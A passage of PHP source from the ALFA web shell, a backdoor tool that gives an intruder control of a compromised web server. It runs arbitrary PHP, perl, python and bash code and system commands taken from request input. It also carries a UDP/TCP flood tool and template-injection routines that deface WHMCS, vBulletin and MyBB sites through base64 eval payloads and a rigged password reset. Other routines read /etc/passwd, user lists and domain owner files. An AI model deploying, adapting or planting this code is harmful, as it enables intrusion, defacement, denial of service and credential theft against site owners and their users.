                $file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])), -4);
            }
            echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.chmod.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="chmod" value="' . $file_perm . '"><input type=submit value=" "></form>';
            break;
        case 'hexdump':
            @chdir($_POST['c']);
            $c = __read_file($_POST['alfa1']);
            $n = 0;
            $h = array('00000000<br>', '', '');
            $len = strlen($c);
            for ($i = 0; $i < $len; ++$i) {
                $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                switch (ord($c[$i])) {
                    case 0:
                        $h[2] .= ' ';
                        break;
                    case 9:
                        $h[2] .= ' ';
                        break;
                    case 10:
                        $h[2] .= ' ';
                        break;
                    case 13:
                        $h[2] .= ' ';
                        break;
                    default:
                        $h[2] .= $c[$i];
                        break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i + 1 < $len) {
                        $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                    }
                    $h[1] .= '<br>';
                    $h[2] .= "\n";
                }
            }
            echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table></div></div>';
            break;
        case 'rename':
            @chdir($_POST['c']);
            $alfa1_escape = addslashes($_POST["alfa1"]);
            $alfa3_escape = addslashes($_POST["alfa3"]);
            if (!empty($_POST['alfa3'])) {
                $cmd_rename = false;
                if ($chdir_fals && $alfa_canruncmd) {
                    if (_alfa_is_writable($_POST['alfa1'])) {
                        $alfa1_escape = addslashes($alfa1_decoded);
                        alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa3']) . "'");
                    } else {
                        $cmd_rename = true;
                    }
                } else {
                    $alfa1_escape = addslashes($_POST["alfa1"]);
                }
                if (!@rename($_POST['alfa1'], $_POST['alfa3']) && $cmd_rename) {
                    echo "Can't rename!<br>";
                } else {
                    echo 'Renamed!<script>try{$("' . $_POST['alfa4'] . '").innerHTML = "<div class=\'editor-icon\'>"+loadType(\'' . $alfa3_escape . '\',\'' . $ftype . '\',\'' . $_POST['alfa4'] . '\')+"</div><div class=\'editor-file-name\'>' . $alfa3_escape . '</div>";editor_files["' . $_POST['alfa4'] . '"].file = "' . $alfa3_escape . '";updateFileEditor("' . $alfa1_escape . '", "' . $alfa3_escape . '");' . ($ftype == "dir" ? "updateDirsEditor('" . $_POST['alfa4'] . "','" . $alfa1_escape . "');" : "") . '}catch(e){console.log(e)}</script>';
                    $alfa1_escape = $alfa3_escape;
                }
            }
            echo '<form onsubmit="editor(\'' . $alfa1_escape . '\',\'' . $_POST['alfa2'] . '\',this.name.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="name" value="' . addslashes(htmlspecialchars(isset($_POST['alfa3']) && $_POST['alfa3'] != '' ? $_POST['alfa3'] : $alfa1_decoded)) . '"><input type=submit value=" "></form>';
            break;
        case 'touch':
            @chdir($_POST['c']);
            if (!empty($_POST['alfa3'])) {
                $time = strtotime($_POST['alfa3']);
                if ($time) {
                    $touched = false;
                    if ($chdir_fals && $alfa_canruncmd) {
                        alfaEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa3'])) . "' '" . addslashes($alfa1_decoded) . "'");
                        $touched = true;
                    }
                    if (!@touch($_POST['alfa1'], $time, $time) && !$touched) {
                        echo "Fail!";
                    } else {
                        echo "Touched!";
                    }
                } else {
                    echo "Bad time format!";
                }
            }
            clearstatcache();
            echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.touch.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", $chdir_fals ? $file_info[4] : @filemtime($_POST['alfa1'])) . '"><input type=submit value=" "></form>';
            break;
        case 'image':
            @chdir($_POST['c']);
            echo "<hr>";
            $file = $_POST['alfa1'];
            $image_info = @getimagesize($file);
            if (is_array($image_info) || $chdir_fals) {
                $width = (int) $image_info[0];
                $height = (int) $image_info[1];
                if ($chdir_fals && $alfa_canruncmd) {
                    $source = alfaEx("cat '" . addslashes($file) . "' | base64");
                    list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '" . addslashes($file) . "'"));
                    $mime = explode(":", alfaEx("file --mime-type '" . addslashes($file) . "'"));
                    $image_info['mime'] = $mime[1];
                } else {
                    $source = __ZW5jb2Rlcg(__read_file($file, false));
                }
                $image_info_h = "Image type = <span>[</span> " . $image_info['mime'] . " <span>]</span><br>Image Size = <span>[ </span>" . $width . " x " . $height . "<span> ]</span><br>";
                if ($width > 800) {
                    $width = 800;
                }
                echo $content = "<div class='editor-view'><div class='view-content'><center>" . $image_info_h . "<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:" . $image_info['mime'] . ";base64," . $source . "' alt='" . $file . "'></center></div></div><br>";
            }
            break;
    }
    echo "</div>";
    alfaFooter();
}
function findicon($file, $type)
{
    $s = 'http://solevisible.com/icons/';
    $types = array('json', 'ppt', 'pptx', 'xls', 'xlsx', 'msi', 'config', 'cgi', 'pm', 'c', 'cpp', 'cs', 'java', 'aspx', 'asp', 'db', 'ttf', 'eot', 'woff', 'woff2', 'woff', 'conf', 'log', 'apk', 'cab', 'bz2', 'tgz', 'dmg', 'izo', 'jar', '7z', 'iso', 'rar', 'bat', 'sh', 'alfa', 'gz', 'tar', 'php', 'php4', 'php5', 'phtml', 'html', 'xhtml', 'shtml', 'htm', 'zip', 'png', 'jpg', 'jpeg', 'gif', 'bmp', 'ico', 'txt', 'js', 'rb', 'py', 'xml', 'css', 'sql', 'htaccess', 'pl', 'ini', 'dll', 'exe', 'mp3', 'mp4', 'm4a', 'mov', 'flv', 'swf', 'mkv', 'avi', 'wmv', 'mpg', 'mpeg', 'dat', 'pdf', '3gp', 'doc', 'docx', 'docm');
    if ($type != 'file') {
        return $file == '..' ? "http://solevisible.com/icons/back.png" : "http://solevisible.com/icons/folder.png";
    } else {
        $ext = explode('.', $file);
        $ext = end($ext);
        $ext = strtolower($ext);
        return in_array($ext, $types) ? $s . $ext . '.png' : "http://solevisible.com/icons/notfound.png";
    }
}
function alfadlfile()
{
    if (isset($_POST['c'], $_POST['file'])) {
        $basename = rawurldecode(basename($_POST['file']));
        $_POST['file'] = str_replace("//", "/", $_POST['c'] . '/' . $basename);
        $alfa_canruncmd = _alfa_can_runCommand(true, true);
        if (@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=\"" . addslashes($basename) . "\"");
            header("Content-Type: application/octet-stream");
            if ($GLOBALS["glob_chdir_false"]) {
                $randname = $basename . rand(111, 9999);
                $scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
                $filepath = $scriptpath . "/" . $randname;
                if (_alfa_is_writable($scriptpath)) {
                    alfaEx("cp '" . addslashes($_POST["file"]) . "' '" . addslashes($filepath) . "'");
                    readfile($filepath);
                    @unlink($filepath);
                } else {
                    alfaEx("cat '" . addslashes($_POST["file"]) . "'");
                }
            } else {
                readfile($_POST['file']);
            }
        } else {
            echo "Error...!";
        }
    }
}
function __alfa_set_cookie($key, $value)
{
    $_COOKIE[$key] = $value;
    @setcookie($key, $value, time() + 604800, '/');
}
function alfaphpeval()
{
    if (isset($_COOKIE["eval_tmpdir"]) && @is_dir($_COOKIE["eval_tmpdir"])) {
        $tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
    } else {
        $tempdir = dirname(alfaEx("mktemp"));
        __alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
    }
    alfahead();
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'ini') {
        echo "<div class=header>";
        ob_start();
        $INI = ini_get_all();
        print "<table border=0><tr><td class=\"listing\"><font class=\"highlight_txt\">Param</td><td class=\"listing\"><font class=\"highlight_txt\">Global value</td><td class=\"listing\"><font class=\"highlight_txt\">Local Value</td><td class=\"listing\"><font class=\"highlight_txt\">Access</td></tr>";
        foreach ($INI as $param => $values) {
            print "\n<tr><td class=\"listing\"><b>" . $param . '</td>' . '<td class="listing">' . $values['global_value'] . ' </td>' . '<td class="listing">' . $values['local_value'] . ' </td>' . '<td class="listing">' . $values['access'] . ' </td></tr>';
        }
        $tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
        echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'info') {
        echo "<div class=header><style>.p {color:#000;}</style>";
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
        echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'exten') {
        echo "<div class=header>";
        ob_start();
        $EXT = get_loaded_extensions();
        echo '<table border=0><tr><td class="listing">' . implode("</td></tr>\n<tr><td class=\"listing\">", $EXT) . '</td></tr></table>' . count($EXT) . ' extensions loaded';
        echo "</div><br>";
    }
    $lang_html = "";
    foreach (array("php" => "php ~> [ Windows / Linux ]", "perl" => "perl ~> [ Linux ]", "python" => "python ~> [ Linux ]", "bash" => "bash ~> [ Linux ]") as $key => $val) {
        $lang_html .= '<option value="' . $key . '" ' . ($_POST["alfa3"] == $key ? "selected" : "") . '>' . $val . '</option>';
    }
    echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">' . $lang_html . '</select>' . _alfa_load_ace_options("eval") . '<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">' . (!empty($_POST['alfa1']) ? htmlspecialchars($_POST['alfa1']) : "&lt;?php\n\n\techo('hello alfa !');\n\n?>") . '</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
    echo '</form><pre id="PhpOutput" style="' . (empty($_POST['alfa1']) ? 'display:none;' : '') . 'margin-top:5px;" class="ml1">';
    if (!empty($_POST['alfa1'])) {
        if ($_POST['alfa3'] == "php") {
            ob_start();
            eval('?>' . $_POST['alfa1']);
            $result = htmlspecialchars(ob_get_clean());
        } elseif (_alfa_can_runCommand() && $GLOBALS["sys"] == "unix") {
            $lang = $_POST['alfa3'];
            $filename = "temp" . rand(11111, 99999);
            $temp = $tempdir . "/" . $filename;
            __write_file($filename, $_POST['alfa1']);
            $result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
            @unlink($filename);
            @unlink($temp);
        }
        echo '<textarea class="bigarea">' . $result . '</textarea>';
    }
    echo "</pre></div>";
    alfafooter();
}
function alfahash()
{
    if (!function_exists('hex2bin')) {
        function hex2bin($p)
        {
            return decbin(hexdec($p));
        }
    }
    if (!function_exists('full_urlencode')) {
        function full_urlencode($p)
        {
            $r = '';
            for ($i = 0; $i < strlen($p); ++$i) {
                $r .= '%' . dechex(ord($p[$i]));
            }
            return strtoupper($r);
        }
    }
    $stringTools = array('Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)', 'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)', 'strrev ( $string )' => 'strrev($s)', 'bin2hex ( $string )' => 'bin2hex($s)', 'hex2bin ( $string )' => 'hex2bin($s)', 'md5 ( $string )' => 'md5($s)', 'sha1 ( $string )' => 'sha1($s)', 'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)', 'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)', 'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)', 'crypt ( $string )' => 'crypt($s)', 'crc32 ( $string )' => 'crc32($s)', 'str_rot13 ( $string )' => 'str_rot13($s)', 'urlencode ( $string )' => 'urlencode($s)', 'urldecode  ( $string )' => 'urldecode($s)', 'full_urlencode  ( $string )' => 'full_urlencode($s)', 'htmlspecialchars  ( $string )' => 'htmlspecialchars($s)', 'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))', 'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))', 'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))', 'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))', 'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))', 'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))');
    alfahead();
    echo "<div class=header>";
    echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
    foreach ($stringTools as $k => $v) {
        echo "<option value='" . htmlspecialchars($v) . "' " . ($_POST['alfa1'] == $v ? 'selected' : '') . ">" . $k . "</option>";
    }
    echo "</select> <input type='submit' value=' '/><br><textarea  name='input' style='margin-top:5px' class='bigarea'>" . (empty($_POST['alfa1']) ? '' : htmlspecialchars(@$_POST['alfa2'])) . "</textarea></form>";
    if (!empty($_POST['alfa1'])) {
        $string = addslashes($_POST['alfa2']);
        $string = str_replace('\\"', '"', $string);
        $alg = $_POST['alfa1'];
        $code = str_replace('$s', "'" . $string . "'", $alg);
        ob_start();
        eval('echo ' . $code . ';');
        $res = ob_get_contents();
        ob_end_clean();
        if (in_array($alg, $stringTools)) {
            echo '<textarea class="bigarea">' . htmlspecialchars($res) . '</textarea>';
        }
    }
    echo "</div>";
    alfaFooter();
}
function alfados()
{
    alfahead();
    echo "<div class=header>";
    echo "<center><p><div class=\"txtfont_header\">| DOS |</div></p><form onSubmit=\"g('dos',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;\"><div class=\"txtfont\">Method : <select name=\"m\" style=\"width:80px;\"><option value=\"udp\">UDP</option><option value=\"tcp\">TCP</option></select> Host : <input name=\"host\" type=\"text\" value=\"localhost\" size=\"25\" /> Time : <input name=\"time\" type=\"text\" size=\"15\" /> Port : <input name=\"port\" type=\"text\" size=\"10\" /> <input type=\"submit\" value=\" \" /></div></form></center><br>";
    if (!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])) {
        echo __pre();
        $packets = 0;
        ignore_user_abort(true);
        $exec_time = (int) $_POST['alfa2'];
        $time = time();
        $max_time = $exec_time + $time;
        $host = $_POST['alfa1'];
        $port = (int) $_POST['alfa3'];
        $method = $_POST['alfa4'];
        $out = str_repeat('X', 65000);
        while (1) {
            $packets++;
            if (time() > $max_time) {
                break;
            }
            $fp = @fsockopen($method . '://' . $host, $port, $errno, $errstr, 5);
            if ($fp) {
                fwrite($fp, $out);
                fclose($fp);
            }
        }
        echo "<center>{$packets} (" . @round($packets * 65 / 1024, 2) . " MB) packets averaging " . @round($packets / $exec_time, 2) . " packets per second</center>";
        echo "</pre>";
    }
    echo "</div>";
    alfafooter();
}
function __pre()
{
    return "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">";
}
function alfaIndexChanger()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick=\"g('IndexChanger',null,null,null,'whmcs')\">| Whmcs | </a><a href=javascript:void(0) onclick=\"g('IndexChanger',null,'vb',null)\">| vBulletin | </a><a href=javascript:void(0) onclick=\"g('IndexChanger',null,null,'mybb')\">| MyBB | </a></h3></center>";
    if (isset($_POST['alfa3']) && $_POST['alfa3'] == 'whmcs') {
        echo __pre();
        echo "<center><center><div class='txtfont_header'>| Whmcs |</div>\r\n<p><center>" . getConfigHtml('whmcs') . "<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">\r\n";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type='submit' value=' '>\r\n</form></center></center>";
        if (isset($_POST['alfa6'])) {
            $s0levisible = "Powered By Solevisible";
            $dbu = $_POST['alfa6'];
            $path = $_POST['alfa5'];
            $fname = $_POST['alfa4'];
            $dbn = $_POST['alfa7'];
            $dbp = $_POST['alfa8'];
            $dbh = $_POST['alfa9'];
            $index = $_POST['alfa10'];
            $index = str_replace("\\'", "'", $index);
            $deface = '$x = base64_decode("' . __ZW5jb2Rlcg($index) . '"); $solevisible = fopen("' . $fname . '","w"); fwrite($solevisible,$x);';
            $saveData = __ZW5jb2Rlcg($deface);
            $Def = '{php}eval(base64_decode("' . $saveData . '"));{/php}';
            if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
                $conn = @mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
                $soleSave = @mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
                $soleGet = mysqli_fetch_assoc($soleSave);
                $tempSave1 = $soleGet['message'];
                $tempSave = str_replace("'", "\\'", $tempSave1);
                $inject = "UPDATE tblemailtemplates SET message='{$Def}' WHERE name='Password Reset Validation'";
                $result = @mysqli_query($conn, $inject) or die(mysqli_error($conn));
                $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
                $result2 = @mysqli_query($conn, $create) or die(mysqli_error($conn));
                if (function_exists('curl_version')) {
                    $AlfaSole = new AlfaCURL(true);
                    $saveurl = $AlfaSole->Send($path . "/pwreset.php");
                    $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
                    $AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&email=solevisible@fbi.gov");
                    $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
                    $Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
                    __alert('File Created...');
                    echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $path . "/" . $fname . "'>Click Here !</a></font></b></center><br><br>";
                } else {
                    echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" " . $path . "/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" " . $path . "/" . $fname . " \"</font></b></center><br><br>";
                }
            }
        }
    }
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'vb') {
        echo __pre();
        echo "<center><center><div class='txtfont_header'>| vBulletin |</div>\r\n<p><center>" . getConfigHtml('vb') . "<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">\r\n";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type='submit' value=' '></form></center></center>";
        if ($_POST['alfa8'] == '>>') {
            $s0levisible = "Powered By Solevisible";
            $dbu = $_POST['alfa2'];
            $dbn = $_POST['alfa3'];
            $dbp = $_POST['alfa4'];
            $dbh = $_POST['alfa5'];
            $index = $_POST['alfa6'];
            $prefix = $_POST['alfa7'];
            $index = str_replace("\\'", "'", $index);
            $set_index = "{\${eval(base64_decode(\\'";
            $set_index .= __ZW5jb2Rlcg("echo \"{$index}\";");
            $set_index .= "\\'))}}{\${exit()}}";
            if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
                $conn = @mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
                $loli1 = "UPDATE " . $prefix . "template SET template='" . $set_index . "" . $s0levisible . "' WHERE title='spacer_open'";
                $loli2 = "UPDATE " . $prefix . "template SET template='" . $set_index . "" . $s0levisible . "' WHERE title='FORUMHOME'";
                $loli3 = "UPDATE " . $prefix . "style SET css='" . $set_index . "" . $s0levisible . "', stylevars='', csscolors='', editorstyles=''";
                @mysqli_query($conn, $loli1) or die(mysqli_error($conn));
                @mysqli_query($conn, $loli2) or die(mysqli_error($conn));
                @mysqli_query($conn, $loli3) or die(mysqli_error($conn));
                __alert('VB index changed...!');
            }
        }
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'mybb') {
        echo __pre();
        echo "<center><center><div class='txtfont_header'>| Mybb |</div>\r\n<p><center>" . getConfigHtml('mybb') . "<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>\r\n";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name=mybbindex rows='19' cols='103'>\r\n<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
        if (isset($_POST['alfa6'])) {
            $mybb_dbh = $_POST['alfa6'];
            $mybb_dbu = $_POST['alfa7'];
            $mybb_dbn = $_POST['alfa8'];
            $mybb_dbp = $_POST['alfa9'];
            $mybb_index = $_POST['alfa10'];
            if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index)) {
                $conn = @mysqli_connect($mybb_dbh, $mybb_dbu, $mybb_dbp, $mybb_dbn) or die(mysqli_error($conn));
                $prefix = "mybb_";
                $loli7 = "UPDATE mybb_templates SET template='" . $mybb_index . "' WHERE title='index'";
                $result = @mysqli_query($conn, $loli7) or die(mysqli_error($conn));
                __alert('MyBB index changed...!');
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaproc()
{
    alfahead();
    echo "<Div class=header><br><center>";
    if (empty($_POST['ajax']) && !empty($_POST['alfa1'])) {
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    }
    if ($GLOBALS['sys'] == "win") {
        $process = array("Task List" => "tasklist /V", "System Info" => "systeminfo", "Active Connections" => "netstat -an", "Running Services" => "net start", "User Accounts" => "net user", "Show Computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $process = array("Process status" => "ps aux", "Syslog" => "cat /etc/syslog.conf", "Resolv" => "cat /etc/resolv.conf", "Hosts" => "cat /etc/hosts", "Cpuinfo" => "cat /proc/cpuinfo", "Version" => "cat /proc/version", "Sbin" => "ls -al /usr/sbin", "Interrupts" => "cat /proc/interrupts", "lsattr" => "lsattr -va", "Uptime" => "uptime", "Fstab" => "cat /etc/fstab");
    }
    foreach ($process as $n => $link) {
        echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\'' . $link . '\')"> | ' . $n . ' | </a>';
    }
    echo "</center><br>";
    if (!empty($_POST['alfa1'])) {
        echo "<pre class='ml1' style='margin-top:5px' >";
        if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) {
            $cmd = "cd '" . addslashes($_POST["c"]) . "';";
        }
        echo alfaEx($cmd . $_POST['alfa1'], true);
        echo "</pre>";
    }
    echo "</div>";
    alfafooter();
}
function alfasafe()
{
    alfahead();
    echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
    echo "<h3><a href=javascript:void(0) onclick=\"g('safe',null,'php.ini',null)\">| PHP.INI | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,'ini')\">| .htaccess(apache) | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,'pl')\">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,'passwd')\">| Read-Passwd | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,'users')\">| Read-Users | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,null,'valiases')\">| Get-User | </a><a href=javascript:void(0) onclick=\"g('safe',null,null,null,null,null,null,null,null,'domains')\">| Get-Domains | </a></center></h3>";
    if (!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains') {
        if (!_alfa_file_exists("/etc/virtual/domainowners")) {
            echo __pre();
            $solevisible9 = _alfa_file('/etc/named.conf');
            if (is_array($solevisible9)) {
                foreach ($solevisible9 as $solevisible13) {
                    if (@eregi('zone', $solevisible13)) {
                        preg_match_all('#zone "(.*)"#', $solevisible13, $solevisible14);
                        if (strlen(trim($solevisible14[1][0])) > 2) {
                            echo $solevisible14[1][0] . '<br>';
                        }
                    }
                }
            }
        } else {
            echo __pre();
            $users = _alfa_file("/etc/virtual/domainowners");
            if (is_array($users)) {
                foreach ($users as $boz) {
                    $dom = explode(":", $boz);
                    echo $dom[0] . "\n";
                }
            }
        }
    }
    if (!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases') {
        echo "\r\n<form onsubmit=\"g('safe',null,null,null,null,null,null,'valiases',this.site.value,null,'>>'); return false;\" method=\"post\" /><center><div class=\"txtfont\">Url: </font><input type=\"text\" placeholder=\"site.com\" name=\"site\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center>";
        if (isset($_POST['alfa9']) && $_POST['alfa9'] == '>>') {
            if (!_alfa_file_exists("/etc/virtual/domainowners")) {
                $site = trim($_POST['alfa7']);
                $rep = str_replace(array("https://", "http://", "www."), "", $site);
                $user = "";
                if (function_exists("posix_getpwuid") && function_exists("fileowner")) {
                    if ($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))) {
                        $user = $user['name'];
                    }
                } else {
                    if (_alfa_can_runCommand(true, true)) {
                        $user = alfaEx("stat -c '%U' /etc/valiases/" . $rep);
                    }
                }
                if (!empty($user) && $user != 'root') {
